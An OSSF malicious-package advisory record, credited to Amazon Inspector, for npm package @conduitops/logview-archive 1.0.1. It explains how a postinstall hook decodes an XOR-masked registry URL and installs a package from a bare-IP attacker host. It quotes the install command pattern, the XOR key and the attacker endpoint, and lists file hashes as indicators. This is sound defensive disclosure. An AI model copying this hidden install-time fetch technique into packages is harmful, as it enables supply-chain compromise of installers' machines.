{"id":"MAL-2026-18183","summary":"Malicious code in @conduitops/logview-archive (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (f20036e315be6c5dd925bdedc87120af27adb007a4c2b6653c95cb386acd9009)\nOn install, package.json's postinstall hook runs install.js, which invokes `npm install @conduit/logview-cli@2.2.0 --registry \u003cURL\u003e` where the registry URL is stored as a base64+XOR-masked string in lib/toolchain.json and decoded in memory by lib/origin.js (XOR key `c0ndu1t-ops`). The decoded destination is a plain-HTTP bare IP (http://139.196.94.195:8080/dl/npm/), not the public npm registry, a known publisher host, or an internal-DNS name consistent with the package's self-claimed `conduit.internal` provenance. npm will fetch and execute the lifecycle scripts of whatever package the attacker serves at that endpoint, giving arbitrary install-time code execution on the installer's host. A comment in lib/origin.js states the masking is intended so the downloaded package `carries no readable address`, confirming the concealment is deliberate rather than incidental.\n","modified":"2026-10-22T06:45:04.772652670Z","published":"2026-10-22T06:10:48Z","database_specific":{"malicious-packages-origins":[{"sha256":"f20036e315be6c5dd925bdedc87120af27adb007a4c2b6653c95cb386acd9009","source":"amazon-inspector","versions":["1.0.1"],"id":"IN-MAL-2026-021570","import_time":"2026-10-22T06:30:24.038889636Z","modified_time":"2026-10-22T06:10:48Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@conduitops/logview-archive/v/1.0.1"}],"affected":[{"package":{"name":"@conduitops/logview-archive","ecosystem":"npm","purl":"pkg:npm/%40conduitops/logview-archive"},"versions":["1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"install.js","sha256":"0d11efbb0880f2b9f3d4c8f073cf4ddddb105badc34ffaed48ae76d59a0609a8","tlsh":"2891658b55e592361ed345ba764f80067207d06a1258ee54f0cdc3f5bf1913ccab39da"},{"path":"lib/origin.js","sha256":"4a2485296ad2178b7bf07ebba6d13b300728582dd9ca673aa3e262d46e49c44e","tlsh":"bc31319b2fb553258282456e13cda9c3b7aa92793439c5c5a4e503a84f044f802b3df8"}],"package_integrity":[{"hashes":{"sha1":"0b49478bb2f4e40d6e34adee09daa9c8f8c73fc8","sha512_sri":"sha512-WVaGiqCSOkepoyxB63XRBXFFyhA3Y1sfHw9ijcHgc4v6c6sCei+3FwNsQRCZfhrwwjT211rz/W3j4IoHy2mG4A=="},"filename":"logview-archive-1.0.1.tgz"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@conduitops/logview-archive/MAL-2026-18183.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}